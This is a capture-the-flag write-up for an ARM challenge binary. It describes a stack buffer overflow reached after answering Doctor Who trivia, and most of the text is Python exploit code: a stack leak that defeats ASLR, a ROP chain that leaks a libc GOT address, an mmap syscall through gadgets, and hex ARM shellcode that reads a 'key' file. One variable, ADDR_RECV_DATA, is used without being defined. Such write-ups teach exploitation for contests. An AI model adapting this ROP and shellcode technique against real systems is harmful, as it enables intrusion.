Score 3
Link http://assets-2013.legitbs.net/liabilities/ergab

This challenge was an ARM binary, our goal was to print the content of a file named “key”. Like the bitterswallow challenge, the first part of the program was not that interesting since it was only doing the setup of the socket and the privileges. However, the program was written in C++ with some objects.

The first thing it does is open a file (questions.txt), read some questions with their answers, and initialize a structure based on them. The format of the file is the following:

5 # the number of questions
Question1?;resp1;resp2;resp3;resp4;
Question2?;resp1;resp2;resp3;resp4;
Question3?;resp1;resp2;resp3;resp4;
Question4?;resp1;resp2;resp3;resp4;
Question5?;resp1;resp2;resp3;resp4;

The good answer is always the last one of each line.

Then it prints some questions and the answers in a random order. It looks like:

Question?
1) rep2
2) rep4
3) rep1
4) rep3
Answer:

The answer that the program waits is the number followed by a newline.

Once you have given the good answer to 5 questions, the binary receives your name in 0x100 in a buffer of size 0x10. After that it sends us our name back and then asks if we want to play again.

So our first step will be to pass the question. The questions were relative to the Dr Who Series. Here is the code we used to answer them:

import socket
import struct
import sys, time

HOST = 'lolergab.shallweplayaga.me'
PORT = 5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

def _send(st, end=b''):
    if isinstance(st, str):
        st = bytes(st, 'utf-8')
    st += end
    print('Send:', repr(st))
    return s.send(st)

def _recv(l):
    if isinstance(l, str):
        l = len(l)
    r = s.recv(l)
    if r:
        print('Recv:', repr(r))
    return r

def _pack(i):
    return struct.pack('<I', i)

def _unpack(b):
    return struct.unpack('<I', b)[0]

# For passing the questions
tab_quest = []
ans_quest = []
tab_quest.append("What is the name of the Doctor's robotic dog?")
ans_quest.append("K-9")
tab_quest.append("What is the name of the town being guarded by the Gunslinger?")
ans_quest.append("Mercy")
tab_quest.append("Which planet are the Slitheen from?")
ans_quest.append("Raxacoricofallapatorius")
tab_quest.append("What do the Daleks call the Doctor on their home planet?")
ans_quest.append("The Oncoming Storm")
tab_quest.append('What is the name of the last human in "The End of the World"?')
ans_quest.append('Cassandra')
tab_quest.append("What is the actual name of River Song?")
ans_quest.append("Melody Pond")
tab_quest.append("Who is the astronaut who kills the Doctor?")
ans_quest.append("River Song")
tab_quest.append("How many Doctors have there been?")
ans_quest.append("11")
tab_quest.append("When the Doctor first meets Oswin what has she become?")
ans_quest.append("A Dalek")
tab_quest.append("Who founded Torchwood?")
ans_quest.append("Queen Victoria")
tab_quest.append("What company were the Cybermen made by?")
ans_quest.append("Cybus Industries")
tab_quest.append("What does TARDIS stand for?")
ans_quest.append(" Time And Relative Dimension In Space")
tab_quest.append("How did the Doctor get the TARDIS?")
ans_quest.append("He stole it.")
tab_quest.append("What was the monster in the episode 'Blink'?")
ans_quest.append("Weeping Angels")

def recv_line():
    r = ""
    t = _recv(1)
    while t != b'\n' :
        r += str(t, "utf-8")
        t = _recv(1)
    return r

def get_quest():
    q = recv_line()
    a1 = recv_line()
    a2 = recv_line()
    a3 = recv_line()
    a4 = recv_line()
    _recv("\nAnswer: ")

    print("Question:")
    print(q)
    return q, a1[3:], a2[3:], a3[3:], a4[3:]

def resolve_quest(t):
    q, a1, a2, a3, a4 = t
    print(a1, a2, a3, a4)
    if q in tab_quest:
        st = ans_quest[tab_quest.index(q)]
        print(st)
        if st == a1:
            _send("1\n")
        if st == a2:
            _send("2\n")
        if st == a3:
            _send("3\n")
        if st == a4:
            _send("4\n")
    else:
        t = sys.stdin.readline()
        _send(t + "\n")
    recv_line()

def pass_quest():
    i = 0
    while i < 5:
        resolve_quest(get_quest())
        i += 1
    _recv("What is your name: ")

The first step of the exploit is to bypass the ASLR by leaking an address. After getting our name the program sends it as a string (it is doing a strlen and then sends the right length back). When looking at our stack we can see that we have two values right after our buffer: the first one is an address on the stack, the second one is the return address of our function.

To get this address, we will send just the good number of characters. The send will hopefully consider this address to be part of the string. When receiving the data we can get the address we will need on our stack and in our binary.

#FIRST part : leak the addr of our buffer and of the addr of return
pass_quest()

payload = b"a" * 4
payload += b"a" * 4
payload += b"a" * 3

_send(payload + b"\n")
_recv("Congrats ")
t = _recv("aaaaaaaaaaa\n\xbc\xe5\xd0\xbex\xc6\xf9\xb6>")


ADDR_BUF = _unpack(t[12:16]) - 40 # the address of our buffer
ADDR_RET_CONGRATS = _unpack(t[16:20]) # the address of return
BASE_ASLR = ADDR_RET_CONGRATS - 0x1678 # the base of the mapping for our section
print ("addr buf :", hex(ADDR_BUF))
print ("addr ret congrats :", hex(ADDR_RET_CONGRATS))
print ("base ASLR :", hex(BASE_ASLR))

# we receve again a string
_recv("Would you like to try again (y/n): ")
# we have not done yet
_send("y\n")

Now that we have our address we can start leaking the address from the libc to have some useful address and apply the shellcode that we used for the first exercise (See BittersWallow write-up).

To leak the address from the libc we need to send ourselves the data from the got. To do so we need to call some function, we will use some gadgets to do it, the exact same one that we used in BittersWallow.

There was one thing to take care of when we rewrote our stack: putting a valid pointer at the place just before the return address because it was a pointer to a structure which was modified by the function before its own return, if we put something which was not valid the program would segfault.

Here is the code of this second step:

#SECOND part : leek the addr of getpwnam from the libc

SOCKET_FD = 4
USELESS = 0

GOT_PWNAM = BASE_ASLR + 0xd224

GADGET_CALL = BASE_ASLR + 0x45fc
GADGET_PIVOT = BASE_ASLR + 0x4618

ADDR_SEND_DATA = BASE_ASLR + 0x3cfc
ADDR_MAIN_LOOP = BASE_ASLR + 0x1ee8

def _call_func(addr, arg1, arg2, arg3): # 8 pack
    payload = _pack(addr)                       # call addr. (r3)
    payload += _pack(0)                         # counter loop (r4)
    payload += b'\x41' * 4                      # padding. (r5)
    payload += _pack(1)                      # second counter (r6)
    payload += _pack(arg1)                      # first arg (r7)
    payload += _pack(arg2)                      # second arg (r8)
    payload += _pack(arg3)                         # third arg (r10)
    payload += _pack(GADGET_CALL)               # next addr (pc)
    return payload


pass_quest()

payload = b"a" * 12 # padding
payload += _pack(ADDR_BUF + 40) # the addr of the ifs struct
payload += _pack(GADGET_PIVOT)               # our first addr the pivot
# the call for leak the addr in the libc of PWNAM
payload += _call_func(ADDR_SEND_DATA, SOCKET_FD, GOT_PWNAM, 4)
# the call for continue to loop and the exploitation
payload += _call_func(ADDR_MAIN_LOOP, SOCKET_FD, USELESS, USELESS)

_send(payload + b"\n")

ADDR_GETPWNAM = _unpack(_recv(4))
print ("addr getpwnam :", hex(ADDR_GETPWNAM))

So we now have the address of getpwnam. From the first binary we have a valid shellcode and we have everything we need to trigger it.

As we have modified our stack, the address of the buffer we get the first time is not valid anymore. To get the right value we can just redo the first step:

pass_quest()

payload = b"a" * 4
payload += b"a" * 4
payload += b"a" * 3

_send(payload + b"\n")
_recv("Congrats ")
t = _recv("aaaaaaaaaaa\n\xbc\xe5\xd0\xbex\xc6\xf9\xb6>")

ADDR_BUF = _unpack(t[12:16]) - 40

_recv("Would you like to try again (y/n): ")

_send("y\n")

Now we have to exploit, the goal being to first allocate a page (we will call mmap) then we will read to receive the shellcode and put it into the page, and finally we will call that page.

We need two more gadgets to do it: one of this gadget is a simple pop and the other is the syscall itself, this gadget and the way we find the offsets are explained in the bitterswallow write-up. The shellcode does the following :

fd = open("key");
read(fd, addr_in_stack, 255);
write(socket_fd, addr_in_stack, 255);

Here is the code for calling the shellcode:

pass_quest()

shc = '0f00a0e1400080e20010a0e30570a0e3000000ef01dc4de201dc4de20d10a0e1ff20'
shc += 'a0e30370a0e3000000ef0400a0e30d10a0e1ff20a0e30470a0e3000000ef01dc8d'
shc += 'e201dc8de26b65790000000000'
shellcode = bytes.fromhex(shc)

ADDR_MMAP_BUF = 0x13371000
MMAP_SYSCALL = 192

OFFSET_SYSCALL, OFFSET_GADGET = 428, 324

payload = b"a" * 12 # padding
payload += _pack(ADDR_BUF + 40) # the addr of the struct
payload += _pack(GADGET_PIVOT) # the first return

# setting everything for the syscall
payload += _call_func(GADGET_PIVOT, ADDR_MMAP_BUF, 4096, 7)
payload += _pack(0x32) * 4
payload += _pack(MMAP_SYSCALL)
payload += _pack(0x32) * 2
payload += _pack(ADDR_GETPWNAM + OFFSET_SYSCALL) # the addr of the syscall
payload += _pack(0) * 13 # padding for the pop after the syscall
payload += _pack(GADGET_PIVOT) # return for pushing some argument

# call the recv for our shellcode
payload += _call_func(ADDR_RECV_DATA, SOCKET_FD, ADDR_MMAP_BUF, len(shellcode))

# call our shellcode
payload += _call_func(ADDR_MMAP_BUF, 0, 0, 0)

_send(payload + b"\n")

# send the shellcode
input("ShellCode?")
_send(shellcode + b"\n")

# recv the result
while len(_recv(1024)) == 1024 :
    pass
while len(_recv(1024)) == 1024 :
    pass

For this challenge we had a lot of hard work already done for the previous challenge, but it was different and we had an interesting way of leaking the address.